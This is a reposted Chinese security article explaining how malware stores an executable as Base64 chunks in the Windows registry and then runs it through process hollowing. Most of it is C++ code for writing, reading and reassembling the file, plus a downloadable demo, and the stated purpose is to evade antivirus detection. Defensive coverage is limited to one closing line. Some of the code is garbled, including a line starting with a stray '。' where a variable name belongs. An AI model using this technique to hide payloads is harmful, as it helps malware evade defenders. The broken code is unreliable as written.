转载

病毒是如何将文件藏进注册表的

本文将介绍一种将可执行文件隐藏在Windows注册表的方法,包括将可执行文件部分或全部藏入注册表,之后再加载执行。攻击者往往未避免在二进制文件中出现恶意代码,把执行恶意功能的代码放在注册表的多个键值中,使得杀毒软件难以检测。这也是常见的恶意软件所采用的方法。

把文件放进注册表

第一节是关于将文件放入注册表中的。我们会介绍如何将一整个文件分割,然后分别写入多个键。之后会介绍怎样获取、拼接、执行这个文件。关于如何将文件存入注册表的方法有很多。注册表有不同的键值类型,能够存储各种类型的数据,包括原始二进制数据,32/64位值,还有字符串。在本例中,文件会经过Base64转码,然后以string (REG_SZ)类型写入。

把数据写入注册表的过程很简单。过程包括使用RegCreateKeyEx函数打开一个已存在的键的句柄,或者新建一个键,之后在调用RegGetValue和RegSetValueEx执行读写操作。以下的示例代码展示的就是这三个步骤:

const HKEY OpenRegistryKey(const char * const strKeyName, const bool bCreate = true) {  HKEY hKey = nullptr;  DWORD dwResult = 0;  LONG lRet = RegCreateKeyExA(HKEY_CURRENT_USER, strKeyName, 0,   nullptr, 0, KEY_READ | KEY_WRITE | KEY_CREATE_SUB_KEY,   nullptr, &hKey, &dwResult);  if (lRet != ERROR_SUCCESS)  {   fprintf(stderr, "Could not create/open registry key. Error = %X/n",    lRet);   exit(-1);  }  if (bCreate && dwResult == REG_CREATED_NEW_KEY)  {   fprintf(stdout, "Created new registry key./n");  }  else  {   fprintf(stdout, "Opened existing registry key./n");  }  return hKey; } void WriteRegistryKeyString(const HKEY hKey, const char * const strValueName,  const BYTE *pBytes, const DWORD dwSize) {  std::string strEncodedData = base64_encode(pBytes, dwSize);  LONG lRet = RegSetValueExA(hKey, strValueName, 0, REG_SZ, (const BYTE *)strEncodedData.c_str(), strEncodedData.length());  if (lRet != ERROR_SUCCESS)  {   fprintf(stderr, "Could not write registry value. Error = %X/n",    lRet);   exit(-1);  } } const std::array<BYTE, READ_WRITE_SIZE> ReadRegistryKeyString(const char * const strKeyName,  const char * const strValueName, bool &bErrorOccured) {  DWORD dwType = 0;  const DWORD dwMaxReadSize = READ_WRITE_SIZE * 2;  DWORD dwReadSize = dwMaxReadSize;  char strBytesEncoded[READ_WRITE_SIZE * 2] = { 0 };  LONG lRet = RegGetValueA(HKEY_CURRENT_USER, strKeyName, strValueName,   RRF_RT_REG_SZ, &dwType, strBytesEncoded, &dwReadSize);  std::array<BYTE, READ_WRITE_SIZE> pBytes = { 0 };  std::string strDecoded = base64_decode(std::string(strBytesEncoded));  (void)memcpy(pBytes.data(), strDecoded.c_str(), strDecoded.size());  if (lRet != ERROR_SUCCESS)  {   fprintf(stderr, "Could not read registry value. Error = %X/n",    lRet);   bErrorOccured = true;  }  if (dwType != REG_SZ || (dwReadSize == 0 || dwReadSize > dwMaxReadSize))  {   fprintf(stderr, "Did not correctly read back a string from the registry./n");   bErrorOccured = true;  }  return pBytes; } 

接下来主要就是将文件写入注册表了。还有一些细节问题,比如我们要将文件分割成及部分写入几个键中,这一部分由于篇幅有限就不再详细说明了,以下代码的功能就是把文件分成几部分写入注册表:

void WriteFileToRegistry(const char * const pFilePath) {   HKEY hKey = OpenRegistryKey("RegistryTest");   std::string strSubName = "Part";   std::string strSizeName = "Size";   size_t ulIndex = 1;   auto splitFile = SplitFile(pFilePath);   for (size_t i = 0; i < splitFile.size(); ++i)   {     std::string strFullName(strSubName + std::to_string(ulIndex));     WriteRegistryKeyString(hKey, strFullName.c_str(), splitFile[i].data(), READ_WRITE_SIZE);     ++ulIndex;   }   CloseHandle(hKey); } 

示例代码中的键是在HKCU//RegistryTest下。可执行文件会被以2048字节分割,然后经过base64编码,写入名为“Part1″, “Part2″, … “PartN”的值中。一个8KB的文件写入注册表后就会变成这样:

病毒是如何将文件藏进注册表的

用 Base64解码器 就可以快速验证键的内容是否正确,把“Part1”键的内容放到解码器中就可以得到以下结果,里面包含了PE头的内容:

MZ[144][0][3][0][0][0][4][0][0][0][255][255][0][0][184][0][0][0][0][0][0][0]@[0][0][0][0][0][0][0] [0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][240][0][0][0] [14][31][186][14][0][180][9][205]![184][1]L[205]!This program cannot be run in DOS mode.[13][13] [10]$[0][0][0][0][0][0][0][181]!:

现在这个文件已经到注册表里了,文件可以从硬盘上删除。

从注册表获取文件

现在文件已经被分割,存入注册表了。要从注册表获取文件无非就是把第一节的操作反一下——从注册表读取文件片段,用Base64解密,再将这些片段结合起来,代码如下:

NewProcessInfo JoinRegistryToFile(const char * const strKeyName, const char * const strValueName) {   NewProcessInfo newProcessInfo = { 0 };   std::vector<std::array<BYTE, READ_WRITE_SIZE>> splitFile;   size_t ulKeyIndex = 1;   std::string strFullName(strValueName + std::to_string(ulKeyIndex));   bool bErrorOccured = false;   auto partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured);   while (!bErrorOccured)   {     splitFile.push_back(partFile);     ++ulKeyIndex;     strFullName = strValueName + std::to_string(ulKeyIndex);     partFile = ReadRegistryKeyString(strKeyName, strFullName.c_str(), bErrorOccured);   }   。 = std::unique_ptr<BYTE[]>(new BYTE[splitFile.size() * READ_WRITE_SIZE]);   memset(newProcessInfo.pFileData.get(), 0, splitFile.size() * READ_WRITE_SIZE);   size_t ulWriteIndex = 0;   for (auto &split : splitFile)   {     (void)memcpy(&newProcessInfo.pFileData.get()[ulWriteIndex * READ_WRITE_SIZE], splitFile[ulWriteIndex].data(),     READ_WRITE_SIZE);     ++ulWriteIndex;   }   newProcessInfo.pDosHeader = (IMAGE_DOS_HEADER *)&(newProcessInfo.pFileData.get()[0]);   newProcessInfo.pNtHeaders = (IMAGE_NT_HEADERS *)&(newProcessInfo.pFileData.get()[newProcessInfo.pDosHeader->e_lfanew]);   return newProcessInfo; } 

这里的 ReadRegistryKeyString 函数,在之前的部分中介绍过,我们调用它来获取注册表中的文件片段。这些文件片段之后就被结合起来,储存在 newProcessInfo.pFileData 中。有些其他的地方也要初始化,比如PE文件的DOS头和NT头,这在下一节中很重要。

加载获取的文件

现在我们已从注册表中获取了文件,并将它储存在内存的缓冲区。如果直接把获取到的文件内容再写到硬盘上前面的操作就白做了。所以我们要用到的是进程挖空(process hollowing)的方法,以挂起状态启动一个假的进程,然后将其内存unmap。然后,我们把我们从注册表中获取的内容映射到这个进程中,这样就可以执行程序了。示例代码如下:

void ExecuteFileFromRegistry(const char * const pValueName) {   HKEY hKey = OpenRegistryKey("RegistryTest");   auto newProcessInfo = JoinRegistryToFile("RegistryTest", pValueName);   auto processInfo = MapTargetProcess(newProcessInfo, "DummyProcess.exe");   RunTargetProcess(newProcessInfo, processInfo);   CloseHandle(hKey); } 

MapTargetProcessRunTargetProcess 就不在此说明了,我在2011年的一篇博文里提到过,代码很相近。

我想说明的是,只有在“假进程”和替代进程都是x86,并且关闭了DEP/ASLR的情况下,本文所提及的方法才奏效,关于如何让程序支持x64、如何支持开启DEP/ASLR的情况,我会在之后的博文里面教授。

这里的DummyProcess.exe(在文末的zip文件中有)就是被“挖空”,然后替换成另一个进程的程序,也就是ReplacementProcess.exe(也附在了文末的zip中)。Zip文件中的Sample文件夹提供了交互的示例,如果想要演示效果,你可以:

运行DummyProcess.exe,你就会观察到那是一个Win32 UI程序 运行write.bat,它会调用FilelessLauncher.exe将ReplacementProcess.exe程序写入HKCU//RegistryTest 删除ReplacementProcess.exe 运行execute.bat,它会调用FilelessLauncher.exe读取HKCU//RegistryTest,然后获取ReplacementProcess.exe,然后它会unmap DummyProcess.exe,然后将ReplacementProcess.exe写入进程。此时ReplacementProcess.exe就会重新运行,你就可以看到一个弹窗。

病毒是如何将文件藏进注册表的

记得运行结束后清理一下注册表

应对方法

本文介绍的技巧就是如何把可执行文件隐藏在Windows注册表里。应对的方法有很多,比如我们可以监控注册表,或者检查NtUnmapViewOfSection是否被调用。

代码

VS2015 密码:53kj

GitHub

代码在Windows 7, 8.1和10测试通过。

*参考来源: RCE Endeavors ,译/Sphinx,文章有修改,转载请注明来自Freebuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...